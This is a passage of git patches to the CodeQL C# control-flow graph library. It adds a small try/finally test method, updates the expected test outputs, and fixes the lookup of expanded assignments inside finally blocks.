-1610,6 +1610,22 @@ | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:260:27:260:32 | "Done" | | Finally.cs:260:9:260:34 | ...; | Finally.cs:260:9:260:34 | ...; | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:27:260:32 | "Done" | +| Finally.cs:264:5:274:5 | {...} | Finally.cs:264:5:274:5 | {...} | +| Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:266:9:268:9 | {...} | Finally.cs:266:9:268:9 | {...} | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:267:31:267:33 | "1" | +| Finally.cs:267:13:267:35 | ...; | Finally.cs:267:13:267:35 | ...; | +| Finally.cs:267:31:267:33 | "1" | Finally.cs:267:31:267:33 | "1" | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:270:9:273:9 | {...} | +| Finally.cs:271:13:271:34 | call to method WriteLine | Finally.cs:271:31:271:33 | "3" | +| Finally.cs:271:13:271:35 | ...; | Finally.cs:271:13:271:35 | ...; | +| Finally.cs:271:31:271:33 | "3" | Finally.cs:271:31:271:33 | "3" | +| Finally.cs:272:13:272:13 | access to parameter i | Finally.cs:272:13:272:13 | access to parameter i | +| Finally.cs:272:13:272:18 | ... + ... | Finally.cs:272:13:272:13 | access to parameter i | +| Finally.cs:272:13:272:18 | ... += ... | Finally.cs:272:13:272:13 | access to parameter i | +| Finally.cs:272:13:272:18 | ... = ... | Finally.cs:272:13:272:13 | access to parameter i | +| Finally.cs:272:13:272:19 | ...; | Finally.cs:272:13:272:19 | ...; | +| Finally.cs:272:18:272:18 | 3 | Finally.cs:272:18:272:18 | 3 | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:7:5:10:5 | {...} | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:29:8:32 | access to parameter args | | Foreach.cs:8:22:8:24 | String arg | Foreach.cs:8:22:8:24 | String arg | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 9a657596235..07a0a9cffc7 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -2236,6 +2236,27 @@ | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:260:9:260:33 | call to method WriteLine | normal | | Finally.cs:260:9:260:34 | ...; | Finally.cs:260:9:260:33 | call to method WriteLine | normal | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:27:260:32 | "Done" | normal | +| Finally.cs:264:5:274:5 | {...} | Finally.cs:272:13:272:18 | ... = ... | normal | +| Finally.cs:264:5:274:5 | {...} | Finally.cs:272:13:272:18 | ... = ... | throw(Exception) [normal] (0) | +| Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:272:13:272:18 | ... = ... | normal | +| Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:272:13:272:18 | ... = ... | throw(Exception) [normal] (0) | +| Finally.cs:266:9:268:9 | {...} | Finally.cs:267:13:267:34 | call to method WriteLine | normal | +| Finally.cs:266:9:268:9 | {...} | Finally.cs:267:13:267:34 | call to method WriteLine | throw(Exception) | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:267:13:267:34 | call to method WriteLine | normal | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:267:13:267:34 | call to method WriteLine | throw(Exception) | +| Finally.cs:267:13:267:35 | ...; | Finally.cs:267:13:267:34 | call to method WriteLine | normal | +| Finally.cs:267:13:267:35 | ...; | Finally.cs:267:13:267:34 | call to method WriteLine | throw(Exception) | +| Finally.cs:267:31:267:33 | "1" | Finally.cs:267:31:267:33 | "1" | normal | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:272:13:272:18 | ... = ... | normal | +| Finally.cs:271:13:271:34 | call to method WriteLine | Finally.cs:271:13:271:34 | call to method WriteLine | normal | +| Finally.cs:271:13:271:35 | ...; | Finally.cs:271:13:271:34 | call to method WriteLine | normal | +| Finally.cs:271:31:271:33 | "3" | Finally.cs:271:31:271:33 | "3" | normal | +| Finally.cs:272:13:272:13 | access to parameter i | Finally.cs:272:13:272:13 | access to parameter i | normal | +| Finally.cs:272:13:272:18 | ... + ... | Finally.cs:272:13:272:18 | ... + ... | normal | +| Finally.cs:272:13:272:18 | ... += ... | Finally.cs:272:13:272:18 | ... = ... | normal | +| Finally.cs:272:13:272:18 | ... = ... | Finally.cs:272:13:272:18 | ... = ... | normal | +| Finally.cs:272:13:272:19 | ...; | Finally.cs:272:13:272:18 | ... = ... | normal | +| Finally.cs:272:18:272:18 | 3 | Finally.cs:272:18:272:18 | 3 | normal | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | empty | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | empty | | Foreach.cs:8:22:8:24 | String arg | Foreach.cs:8:22:8:24 | String arg | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Finally.cs b/csharp/ql/test/library-tests/controlflow/graph/Finally.cs index c8848747aaa..563afdeb618 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Finally.cs +++ b/csharp/ql/test/library-tests/controlflow/graph/Finally.cs @@ -259,4 +259,17 @@ public class Finally } Console.WriteLine("Done"); } + + void M13(int i) + { + try + { + Console.WriteLine("1"); + } + finally + { + Console.WriteLine("3"); + i += 3; + } + } } diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index f3fabcfe6bb..11f7a7914b6 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -2670,6 +2670,22 @@ | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (normal) | semmle.label | successor | | Finally.cs:260:9:260:34 | ...; | Finally.cs:260:27:260:32 | "Done" | semmle.label | successor | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:33 | call to method WriteLine | semmle.label | successor | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:264:5:274:5 | {...} | semmle.label | successor | +| Finally.cs:264:5:274:5 | {...} | Finally.cs:265:9:273:9 | try {...} ... | semmle.label | successor | +| Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:266:9:268:9 | {...} | semmle.label | successor | +| Finally.cs:266:9:268:9 | {...} | Finally.cs:267:13:267:35 | ...; | semmle.label | successor | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | +| Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:270:9:273:9 | {...} | semmle.label | successor | +| Finally.cs:267:13:267:35 | ...; | Finally.cs:267:31:267:33 | "1" | semmle.label | successor | +| Finally.cs:267:31:267:33 | "1" | Finally.cs:267:13:267:34 | call to method WriteLine | semmle.label | successor | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:271:13:271:35 | ...; | semmle.label | successor | +| Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | semmle.label | successor | +| Finally.cs:271:13:271:34 | call to method WriteLine | Finally.cs:272:13:272:19 | ...; | semmle.label | successor | +| Finally.cs:271:13:271:35 | ...; | Finally.cs:271:31:271:33 | "3" | semmle.label | successor | +| Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | semmle.label | successor | +| Finally.cs:271:31:271:33 | "3" | Finally.cs:271:13:271:34 | call to method WriteLine | semmle.label | successor | +| Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | semmle.label | successor | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:7:5:10:5 | {...} | semmle.label | successor | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | semmle.label | successor | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:8:29:8:32 | access to parameter args | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index bac3edcdd3f..c3ea98fef9c 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -1013,6 +1013,11 @@ finallyNode | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:235:9:259:9 | try {...} ... | | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | Finally.cs:265:9:273:9 | try {...} ... | | cflow.cs:274:9:276:9 | [finally: return] {...} | cflow.cs:268:9:276:9 | try {...} ... | | cflow.cs:275:13:275:41 | [finally: return] call to method WriteLine | cflow.cs:268:9:276:9 | try {...} ... | | cflow.cs:275:13:275:42 | [finally: return] ...; | cflow.cs:268:9:276:9 | try {...} ... | @@ -1120,6 +1125,7 @@ entryPoint | Finally.cs:195:10:195:12 | M10 | Finally.cs:196:5:214:5 | {...} | | Finally.cs:216:10:216:12 | M11 | Finally.cs:217:5:231:5 | {...} | | Finally.cs:233:10:233:12 | M12 | Finally.cs:234:5:261:5 | {...} | +| Finally.cs:263:10:263:12 | M13 | Finally.cs:264:5:274:5 | {...} | | Foreach.cs:6:10:6:11 | M1 | Foreach.cs:7:5:10:5 | {...} | | Foreach.cs:12:10:12:11 | M2 | Foreach.cs:13:5:16:5 | {...} | | Foreach.cs:18:10:18:11 | M3 | Foreach.cs:19:5:22:5 | {...} | From 05c858ec2c40a3abd09e5a0e214c8defc469f26c Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 7 Jan 2021 12:15:21 +0100 Subject: [PATCH 0566/1241] C#: Fix expanded assignment lookup in finally blocks for CFG --- .../internal/ControlFlowGraphImpl.qll | 2 +- .../controlflow/graph/BasicBlock.expected | 5 ++-- .../controlflow/graph/Dominance.expected | 25 +++++++++++++++++++ .../graph/EnclosingCallable.expected | 12 +++++++++ .../controlflow/graph/NodeGraph.expected | 12 +++++++++ .../controlflow/graph/Nodes.expected | 4 +++ 6 files changed, 57 insertions(+), 3 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index a3256941f86..c2a170080b1 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -1302,7 +1302,7 @@ module Statements { /** Gets a child of `cfe` that is in CFG scope `scope`. */ pragma[noinline] private ControlFlowElement getAChildInScope(ControlFlowElement cfe, Callable scope) { - result = cfe.getAChild() and + result = [cfe.getAChild(), cfe.(AssignOperation).getExpandedAssignment()] and scope = result.getEnclosingCallable() } diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index 76511cca34a..6f3b0b5e956 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -640,8 +640,9 @@ | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | 4 | | Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | exit M12 (normal) | 8 | | Finally.cs:263:10:263:12 | enter M13 | Finally.cs:267:13:267:34 | call to method WriteLine | 7 | -| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | 5 | -| Finally.cs:270:9:273:9 | {...} | Finally.cs:272:13:272:19 | ...; | 5 | +| Finally.cs:263:10:263:12 | exit M13 | Finally.cs:263:10:263:12 | exit M13 | 1 | +| Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:263:10:263:12 | exit M13 (abnormal) | 10 | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:263:10:263:12 | exit M13 (normal) | 10 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:8:29:8:32 | access to parameter args | 3 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | 2 | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | 1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index c439a55d8a5..8fe3dbbf796 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -2382,6 +2382,16 @@ dominance | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | | Finally.cs:271:31:271:33 | "3" | Finally.cs:271:13:271:34 | call to method WriteLine | | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | +| Finally.cs:272:13:272:13 | [finally: exception(Exception)] access to parameter i | Finally.cs:272:18:272:18 | [finally: exception(Exception)] 3 | +| Finally.cs:272:13:272:13 | access to parameter i | Finally.cs:272:18:272:18 | 3 | +| Finally.cs:272:13:272:18 | ... + ... | Finally.cs:272:13:272:18 | ... = ... | +| Finally.cs:272:13:272:18 | ... = ... | Finally.cs:263:10:263:12 | exit M13 (normal) | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... + ... | Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... = ... | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... = ... | Finally.cs:263:10:263:12 | exit M13 (abnormal) | +| Finally.cs:272:13:272:19 | ...; | Finally.cs:272:13:272:13 | access to parameter i | +| Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | Finally.cs:272:13:272:13 | [finally: exception(Exception)] access to parameter i | +| Finally.cs:272:18:272:18 | 3 | Finally.cs:272:13:272:18 | ... + ... | +| Finally.cs:272:18:272:18 | [finally: exception(Exception)] 3 | Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... + ... | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:7:5:10:5 | {...} | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:8:29:8:32 | access to parameter args | @@ -6323,20 +6333,31 @@ postDominance | Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:260:27:260:32 | "Done" | | Finally.cs:260:9:260:34 | ...; | Finally.cs:258:13:258:46 | call to method WriteLine | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:34 | ...; | +| Finally.cs:263:10:263:12 | exit M13 (abnormal) | Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... = ... | +| Finally.cs:263:10:263:12 | exit M13 (normal) | Finally.cs:272:13:272:18 | ... = ... | | Finally.cs:264:5:274:5 | {...} | Finally.cs:263:10:263:12 | enter M13 | | Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:264:5:274:5 | {...} | | Finally.cs:266:9:268:9 | {...} | Finally.cs:265:9:273:9 | try {...} ... | | Finally.cs:267:13:267:34 | call to method WriteLine | Finally.cs:267:31:267:33 | "1" | | Finally.cs:267:13:267:35 | ...; | Finally.cs:266:9:268:9 | {...} | | Finally.cs:267:31:267:33 | "1" | Finally.cs:267:13:267:35 | ...; | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:267:13:267:34 | call to method WriteLine | | Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | | Finally.cs:271:13:271:34 | call to method WriteLine | Finally.cs:271:31:271:33 | "3" | | Finally.cs:271:13:271:35 | ...; | Finally.cs:270:9:273:9 | {...} | | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | | Finally.cs:271:31:271:33 | "3" | Finally.cs:271:13:271:35 | ...; | | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | +| Finally.cs:272:13:272:13 | [finally: exception(Exception)] access to parameter i | Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | +| Finally.cs:272:13:272:13 | access to parameter i | Finally.cs:272:13:272:19 | ...; | +| Finally.cs:272:13:272:18 | ... + ... | Finally.cs:272:18:272:18 | 3 | +| Finally.cs:272:13:272:18 | ... = ... | Finally.cs:272:13:272:18 | ... + ... | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... + ... | Finally.cs:272:18:272:18 | [finally: exception(Exception)] 3 | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... = ... | Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... + ... | | Finally.cs:272:13:272:19 | ...; | Finally.cs:271:13:271:34 | call to method WriteLine | | Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | +| Finally.cs:272:18:272:18 | 3 | Finally.cs:272:13:272:13 | access to parameter i | +| Finally.cs:272:18:272:18 | [finally: exception(Exception)] 3 | Finally.cs:272:13:272:13 | [finally: exception(Exception)] access to parameter i | | Foreach.cs:6:10:6:11 | exit M1 | Foreach.cs:6:10:6:11 | exit M1 (normal) | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:6:10:6:11 | enter M1 | @@ -10860,8 +10881,10 @@ blockDominance | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | | Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | | Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | enter M13 | +| Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | exit M13 | | Finally.cs:263:10:263:12 | enter M13 | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | | Finally.cs:263:10:263:12 | enter M13 | Finally.cs:270:9:273:9 | {...} | +| Finally.cs:263:10:263:12 | exit M13 | Finally.cs:263:10:263:12 | exit M13 | | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | | Finally.cs:270:9:273:9 | {...} | Finally.cs:270:9:273:9 | {...} | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | enter M1 | @@ -14212,7 +14235,9 @@ postBlockDominance | Finally.cs:257:9:259:9 | {...} | Finally.cs:250:17:252:17 | {...} | | Finally.cs:257:9:259:9 | {...} | Finally.cs:257:9:259:9 | {...} | | Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | enter M13 | +| Finally.cs:263:10:263:12 | exit M13 | Finally.cs:263:10:263:12 | exit M13 | | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | +| Finally.cs:270:9:273:9 | {...} | Finally.cs:263:10:263:12 | enter M13 | | Finally.cs:270:9:273:9 | {...} | Finally.cs:270:9:273:9 | {...} | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | enter M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | enter M1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 7bbe168a6d9..3ab6261019f 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -2556,6 +2556,9 @@ nodeEnclosing | Finally.cs:260:9:260:34 | ...; | Finally.cs:233:10:233:12 | M12 | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:233:10:233:12 | M12 | | Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:263:10:263:12 | exit M13 | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:263:10:263:12 | exit M13 (abnormal) | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:263:10:263:12 | exit M13 (normal) | Finally.cs:263:10:263:12 | M13 | | Finally.cs:264:5:274:5 | {...} | Finally.cs:263:10:263:12 | M13 | | Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:263:10:263:12 | M13 | | Finally.cs:266:9:268:9 | {...} | Finally.cs:263:10:263:12 | M13 | @@ -2570,8 +2573,16 @@ nodeEnclosing | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:263:10:263:12 | M13 | | Finally.cs:271:31:271:33 | "3" | Finally.cs:263:10:263:12 | M13 | | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:13:272:13 | [finally: exception(Exception)] access to parameter i | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:13:272:13 | access to parameter i | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:13:272:18 | ... + ... | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:13:272:18 | ... = ... | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... + ... | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... = ... | Finally.cs:263:10:263:12 | M13 | | Finally.cs:272:13:272:19 | ...; | Finally.cs:263:10:263:12 | M13 | | Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:18:272:18 | 3 | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:272:18:272:18 | [finally: exception(Exception)] 3 | Finally.cs:263:10:263:12 | M13 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | M1 | @@ -5328,6 +5339,7 @@ blockEnclosing | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:263:10:263:12 | enter M13 | Finally.cs:263:10:263:12 | M13 | +| Finally.cs:263:10:263:12 | exit M13 | Finally.cs:263:10:263:12 | M13 | | Finally.cs:270:9:273:9 | [finally: exception(Exception)] {...} | Finally.cs:263:10:263:12 | M13 | | Finally.cs:270:9:273:9 | {...} | Finally.cs:263:10:263:12 | M13 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | M1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 11f7a7914b6..6218a3a3b46 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -2671,6 +2671,8 @@ | Finally.cs:260:9:260:34 | ...; | Finally.cs:260:27:260:32 | "Done" | semmle.label | successor | | Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:33 | call to method WriteLine | semmle.label | successor | | Finally.cs:263:10:263:12 | enter M13 | Finally.cs:264:5:274:5 | {...} | semmle.label | successor | +| Finally.cs:263:10:263:12 | exit M13 (abnormal) | Finally.cs:263:10:263:12 | exit M13 | semmle.label | successor | +| Finally.cs:263:10:263:12 | exit M13 (normal) | Finally.cs:263:10:263:12 | exit M13 | semmle.label | successor | | Finally.cs:264:5:274:5 | {...} | Finally.cs:265:9:273:9 | try {...} ... | semmle.label | successor | | Finally.cs:265:9:273:9 | try {...} ... | Finally.cs:266:9:268:9 | {...} | semmle.label | successor | | Finally.cs:266:9:268:9 | {...} | Finally.cs:267:13:267:35 | ...; | semmle.label | successor | @@ -2686,6 +2688,16 @@ | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | semmle.label | successor | | Finally.cs:271:31:271:33 | "3" | Finally.cs:271:13:271:34 | call to method WriteLine | semmle.label | successor | | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | semmle.label | successor | +| Finally.cs:272:13:272:13 | [finally: exception(Exception)] access to parameter i | Finally.cs:272:18:272:18 | [finally: exception(Exception)] 3 | semmle.label | successor | +| Finally.cs:272:13:272:13 | access to parameter i | Finally.cs:272:18:272:18 | 3 | semmle.label | successor | +| Finally.cs:272:13:272:18 | ... + ... | Finally.cs:272:13:272:18 | ... = ... | semmle.label | successor | +| Finally.cs:272:13:272:18 | ... = ... | Finally.cs:263:10:263:12 | exit M13 (normal) | semmle.label | successor | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... + ... | Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... = ... | semmle.label | successor | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... = ... | Finally.cs:263:10:263:12 | exit M13 (abnormal) | semmle.label | exception(Exception) | +| Finally.cs:272:13:272:19 | ...; | Finally.cs:272:13:272:13 | access to parameter i | semmle.label | successor | +| Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | Finally.cs:272:13:272:13 | [finally: exception(Exception)] access to parameter i | semmle.label | successor | +| Finally.cs:272:18:272:18 | 3 | Finally.cs:272:13:272:18 | ... + ... | semmle.label | successor | +| Finally.cs:272:18:272:18 | [finally: exception(Exception)] 3 | Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... + ... | semmle.label | successor | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:7:5:10:5 | {...} | semmle.label | successor | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | semmle.label | successor | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:8:29:8:32 | access to parameter args | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index c3ea98fef9c..fd138aea838 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -1017,7 +1017,11 @@ finallyNode | Finally.cs:271:13:271:34 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:265:9:273:9 | try {...} ... | | Finally.cs:271:13:271:35 | [finally: exception(Exception)] ...; | Finally.cs:265:9:273:9 | try {...} ... | | Finally.cs:271:31:271:33 | [finally: exception(Exception)] "3" | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:272:13:272:13 | [finally: exception(Exception)] access to parameter i | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... + ... | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:272:13:272:18 | [finally: exception(Exception)] ... = ... | Finally.cs:265:9:273:9 | try {...} ... | | Finally.cs:272:13:272:19 | [finally: exception(Exception)] ...; | Finally.cs:265:9:273:9 | try {...} ... | +| Finally.cs:272:18:272:18 | [finally: exception(Exception)] 3 | Finally.cs:265:9:273:9 | try {...} ... | | cflow.cs:274:9:276:9 | [finally: return] {...} | cflow.cs:268:9:276:9 | try {...} ... | | cflow.cs:275:13:275:41 | [finally: return] call to method WriteLine | cflow.cs:268:9:276:9 | try {...} ... | | cflow.cs:275:13:275:42 | [finally: return] ...; | cflow.cs:268:9:276:9 | try {...} ... | From 927dd514eab212d2cb7824ee97296b4d68e485d5 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 11 Jan 2021 14:03:53 +0100 Subject: [PATCH 0567/1241] C#: Extract unary patterns --- .../change-notes/2020-11-19-Unary-pattern.md | 3 + 